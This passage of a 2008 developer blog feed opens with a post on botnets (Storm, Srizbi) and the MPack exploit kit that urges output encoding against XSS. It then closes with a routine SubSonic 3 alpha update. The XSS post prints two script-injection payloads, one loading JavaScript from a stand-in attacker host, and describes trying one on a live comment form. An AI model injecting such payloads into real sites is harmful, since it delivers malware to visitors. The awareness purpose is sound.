XSS:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;The server-side software in the kit is able to customize attacks to a variety of web browsers including Microsoft Internet Explorer, Mozilla Firefox and Opera. MPack generally works by being loaded in an IFrame attached to the bottom of a defaced website. When a user visits the page, MPack sends a script that loads in the IFrame and determines if any vulnerabilities in the browser or operating system can be exploited. If it finds any, it will exploit them and store various statistics for future reference.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Included with the server is a management console, which allows the attacker deploying the software to view statistics about the computers that have been infected, including what web browsers they were using and what countries their connections originated from.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;In fact, it&amp;#39;s been estimated that if it weren&amp;#39;t for XSS, propagation of spam trojans like Srizbi would drop dramatically. As it stands, the network propagates itself using &amp;quot;Stupid Theme&amp;quot;, wherein people are sent emails that say &amp;quot;we have video of you naked, click here&amp;quot;. The subject matter changes (from naked celebrities to instant fortunes) but occasionally people end up clicking on them, get sent to a compromised site, then BAM, another drone is born.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Evil&amp;#39;s Super Evil Twin: The Storm Worm      &lt;br /&gt;&lt;/strong&gt;The Storm worm is like Srizbi, but just a tad scarier. It&amp;#39;s spread by a system of servers that utilize a DNS-switching routine called &amp;quot;&lt;a href="http://en.wikipedia.org/wiki/Fast_flux"&gt;fast flux&lt;/a&gt;&amp;quot;. Fast flux involves using&amp;#160; one or more zombie hosts as a DNS proxy (singular or in series), and the de-registering/re-registering address records and aliases up to twice a minute. This server army is literally impossible to locate and therefore makes &lt;img style="margin:5px;" height="228" alt="nytimes_wo_web_zombie" src="http://codebetter.com/blogs/rob.conery/WindowsLiveWriter/ThePerfectStormBotnet_1324F/nytimes_wo_web_zombie_faad028c-d618-4f18-b4fd-7f8f2051cecd.jpg" width="190" align="left" border="0" /&gt;the Storm botnet sort of unstoppable.&lt;/p&gt;  &lt;p&gt;The thing that sets the Storm botnet (the fleet of zombie computers infected with the worm) apart is that it&amp;#39;s actually capable of defending itself - on its own:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;The Storm botnet was observed to be defending itself, and attacking computer systems that scanned for Storm virus-infected computer systems online. The botnet will defend itself with DDoS counter-attacks, to maintain its own internal integrity. At certain points in time, the Storm worm used to spread the botnet has attempted to release hundreds or thousands of versions of itself onto the Internet, in a concentrated attempt to overwhelm the defenses of anti-virus and malware security firms.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Mess with the worm, get the DDoS horns. &lt;a href="http://www.eweek.com/c/a/Security/Storm-Worm-Botnet-Lobotomizing-AntiVirus-Programs/"&gt;More from Joshua Corman&lt;/a&gt;:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;&amp;quot;If you try to attach a debugger, or query sites it&amp;#39;s reporting into, it knows and punishes you instantaneously. [Over at] &lt;/em&gt;&lt;em&gt;SecureWorks&lt;/em&gt;&lt;em&gt;, a chunk of it DDoS-ed a researcher off the network. Every time I hear of an investigator trying to investigate, they&amp;#39;re automatically punished. It knows it&amp;#39;s being investigated, and it punishes them. It fights back,&amp;quot; Corman said.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;The crazy part about all of this is that no one&amp;#39;s really sure&amp;#160; just how big this zombie death army is, after all it doesn&amp;#39;t want to be seen, and doesn&amp;#39;t want you know it&amp;#39;s there. These guys make money on a very weird scale: only 1 in 10 million spam emails sent results in payment - therefore to make more money you need to send more email. If you&amp;#39;re busy being evil, you&amp;#39;re not sending mail. Moreover you&amp;#39;re exposing yourself and your operation - it&amp;#39;s best to remain silent and hidden, growing your Death Army &lt;a href="http://en.wikipedia.org/wiki/Storm_botnet"&gt;one machine at a time&lt;/a&gt;:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;According to Matt Sergeant, chief anti-spam technologist at MessageLabs, &amp;quot;In terms of power, [the botnet] utterly blows the supercomputers away. If you add up all 500 of the top supercomputers, it blows them all away with just 2 million of its machines. It&amp;#39;s very frightening that criminals have access to that much computing power, but there&amp;#39;s not much we can do about it.&amp;quot; It is estimated that only 10%-20% of the total capacity and power of the Storm botnet is currently being used.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Spam is organized, sophisticated, and utterly morose and evil. It goes beyond annoying when you consider the power these guys have at their fingertips, and that we just can&amp;#39;t catch them. But there is something you can do, and it&amp;#39;s so small and so very, very simple. In fact it&amp;#39;s only 10 little letters:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;span&gt;&lt;font color="#800000" size="7"&gt;Html.Encode&lt;/font&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Why, you may ask? Because &lt;strong&gt;a primary vector of release for these things is from script-injection&lt;/strong&gt;, where the bad guys use your site to link off to a zombie host, which contains the nasty-script that wants to eat your computer&amp;#39;s face. You can do something about this - and you should!&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;You Are Not Prepared      &lt;br /&gt;&lt;/strong&gt;Over the last year, people have been very quick to point out that many of the samples I&amp;#39;ve created have been vulnerable to XSS. Sheepishly I&amp;#39;ve made the fix, each time, kicking myself for being lame. We didn&amp;#39;t need to worry about this so much with Web Forms, but with MVC and hand-rolling HTML, the issue is become greater, and more awareness is needed.&lt;/p&gt;  &lt;p&gt;Yesterday as I was reading over &lt;a href="http://visitmix.com/Lab/Oxite"&gt;Oxite&amp;#39;s&lt;/a&gt; source code with &lt;a href="http://damieng.com/"&gt;Damien Guard&lt;/a&gt; (this is not to pick on them - just an illustration how easy it is to let stuff slip), I entered this in to the URL field of the comments:&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&amp;quot;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;alert(&lt;span class="str"&gt;&amp;quot;ha ha ha I suck&amp;quot;&lt;/span&gt;);&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;&lt;/span&gt;a href=&amp;quot;&lt;/pre&gt;

&lt;p&gt;&lt;b&gt;Update&lt;/b&gt; This has been fixed at MIX online - please don&amp;#39;t bother trying.&lt;/p&gt;

&lt;p&gt;And wouldn&amp;#39;t ya know it - it worked perfectly - popping up a really annoying message every time I opened the page up. This happened every time, because the database saved the comment, then planted my nasty script every time the page loaded - this is called &amp;quot;passive script injection&amp;quot;.&lt;/p&gt;

&lt;p&gt;Now if I was evil, I could have done something like this (of course this URL is fake):&lt;/p&gt;

&lt;pre class="csharpcode"&gt;&amp;quot;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt; &lt;span class="attr"&gt;src&lt;/span&gt;&lt;span class="kwrd"&gt;=http://srizbitrojan.mynastyninjasite.com/spreadbadness.js&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt; &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;a href=&amp;quot;&lt;/pre&gt;

&lt;p&gt;This is the comment author&amp;#39;s URL, and his name will be linkable even if you have this script line in there. If I had my hands on MPack, who knows what kind of stuff I could have done!&lt;/p&gt;

&lt;p&gt;To get around this, all the developer needed to do was to&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Be aware of the evil that lies behind XSS, and why it wants to melt your face and eat your children and &lt;/li&gt;

  &lt;li&gt;Use Html.Encode() on ANYTHING that is output on a page. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Please, for the children, encode your output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Further Reading 
    &lt;br /&gt;&lt;/strong&gt;I had a really good time investigating the chapter I&amp;#39;m writing, and if you&amp;#39;re interested in any of the above, here are some links to get you started. It&amp;#39;s good stuff to know, but you&amp;#39;ll get dirty along the way:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Srizbi_botnet"&gt;http://en.wikipedia.org/wiki/Srizbi_botnet&lt;/a&gt; &lt;/li&gt;

  &lt;li&gt;&lt;a href="http://www.nationaljournal.com/njmagazine/cs_20080531_6948.php"&gt;http://www.nationaljournal.com/njmagazine/cs_20080531_6948.php&lt;/a&gt; &lt;/li&gt;

  &lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Storm_botnet"&gt;http://en.wikipedia.org/wiki/Storm_botnet&lt;/a&gt; &lt;/li&gt;

  &lt;li&gt;&lt;a href="http://www.neoseeker.com/news/story/7103/"&gt;Worm &amp;#39;Storm&amp;#39; gathers strength&lt;/a&gt; &lt;/li&gt;

  &lt;li&gt;&lt;a href="http://ieet.org/index.php/IEET/more/dvorsky20070927/"&gt;Storm Botnet storms the Net&lt;/a&gt; &lt;/li&gt;

  &lt;li&gt;&lt;a href="http://news.softpedia.com/news/Meet-Srizbi-The-Largest-Botnet-Ever-82992.shtml"&gt;Meet Srizbi, the Largest Botnet Ever&lt;/a&gt; &lt;/li&gt;

  &lt;li&gt;&lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9026323"&gt;Mpack installs ultra-invisible Trojan&lt;/a&gt; &lt;/li&gt;

  &lt;li&gt;&lt;a href="http://www.securecomputing.net.au/News/115170,one-of-the-biggest-threats-to-internet-users-today-srizbi.aspx"&gt;One of the biggest threats to Internet users today: Srizbi&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=186057" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/XSS/default.aspx">XSS</category></item><item><title>SubSonic 3 Alpha Updated</title><link>http://codebetter.com/blogs/rob.conery/archive/2008/12/10/subsonic-3-alpha-updated.aspx</link><pubDate>Thu, 11 Dec 2008 00:28:06 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:185964</guid><dc:creator>robconery</dc:creator><slash:comments>6</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=185964</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2008/12/10/subsonic-3-alpha-updated.aspx#comments</comments><description>&lt;p&gt;Many thanks to the folks who downloaded and ran the alpha. As I figured, I missed a few things. The good news is that I&amp;#39;ve fixed them, and 99% of them were with the templates - which is good news because it means that you could have fixed them if you had to :). &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;But first - I&amp;#39;d like to say a big HELLO! to all the folks at CodeBetter&lt;/strong&gt;, because as of today, I will be cross-posting my blog there. Indeed it&amp;#39;s quite an honor and many thanks to Jeremy Miller for inviting me!&lt;/p&gt;  &lt;p&gt;Here&amp;#39;s the updated list of bits:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Fixed an SP bug that would result in the command type not getting set properly&lt;/li&gt;    &lt;li&gt;Restructured and re-organized the namespacing&lt;/li&gt;    &lt;li&gt;Renamed the DLL to SubSonic.Core, rather than SubSonic (forgot to do that earlier)&lt;/li&gt;    &lt;li&gt;Fixed up the _Settings.tt template to more accurately convey just WTF it is you&amp;#39;re setting&lt;/li&gt;    &lt;li&gt;Fixed a foreign-key naming bug which allowed spaces through&lt;/li&gt;    &lt;li&gt;Fixed a bug with self-referencing tables, wherein a child property could wiggle through and end up having the same name as the parent&lt;/li&gt;    &lt;li&gt;Fixed a commenting issue in the Repositories, which VS didn&amp;#39;t like&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;You can &lt;a href="http://code.google.com/p/subsonicthree/source/checkout"&gt;download the source&lt;/a&gt;, if you like, or &lt;a href="http://code.google.com/p/subsonicthree/downloads/list"&gt;grab the download here&lt;/a&gt; (DLL plus templates). If you have a question - you can leave a note here or (preferably) &lt;a href="http://groups.google.com/group/subsonicproject"&gt;ask it here, on our mailing list&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Setup Walkthrough&lt;/strong&gt;    &lt;br /&gt;I was asked on the comments of my last post for a walkthrough - so here it is. Setting up SubSonic 3:&lt;/p&gt;  &lt;p&gt;1) Download the bits.&lt;/p&gt;  &lt;p&gt;2) Open Zip file, and put on your hard drive somewhere&lt;/p&gt;  &lt;p&gt;3) Create a project and add an app/web.config file&lt;/p&gt;  &lt;p&gt;4) Add a VALID connection string to your favorite DB&lt;/p&gt;  &lt;p&gt;5) Edit the _Settings.tt file, letting it know the name of your connection string and whatever Namespace you want for your generated objects:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://codebetter.com/blogs/rob.conery/WindowsLiveWriter/SubSonic3AlphaUpdated_CB65/setup1_2.jpg"&gt;&lt;img style="border-right:0px;border-top:0px;border-left:0px;border-bottom:0px;" height="355" alt="setup1" src="http://codebetter.com/blogs/rob.conery/WindowsLiveWriter/SubSonic3AlphaUpdated_CB65/setup1_thumb.jpg" width="557" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;6) Drag the _Generated file into your project - put it where you like&lt;/p&gt;  &lt;p&gt;&lt;a href="http://codebetter.com/blogs/rob.conery/WindowsLiveWriter/SubSonic3AlphaUpdated_CB65/setup2_2.jpg"&gt;&lt;img style="border-right:0px;border-top:0px;border-left:0px;border-bottom:0px;" height="538" alt="setup2" src="http://codebetter.com/blogs/rob.conery/WindowsLiveWriter/SubSonic3AlphaUpdated_CB65/setup2_thumb.jpg" width="615" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;7) You&amp;#39;re done. Go grab a soda, then start coding.&lt;/p&gt;  &lt;p&gt;If you want more information about how to use what&amp;#39;s generated for you, &lt;a href="http://blog.wekeroad.com/blog/subsonic-3-0-preview-1-linq-has-landed/"&gt;read more here&lt;/a&gt; and &lt;a href="http://blog.wekeroad.com/blog/subsonic-3-0-preview-2/"&gt;also read up here&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Many thanks to the folks testing!&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=185964" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/SubSonic/default.aspx">SubSonic</category></item></channel></rss>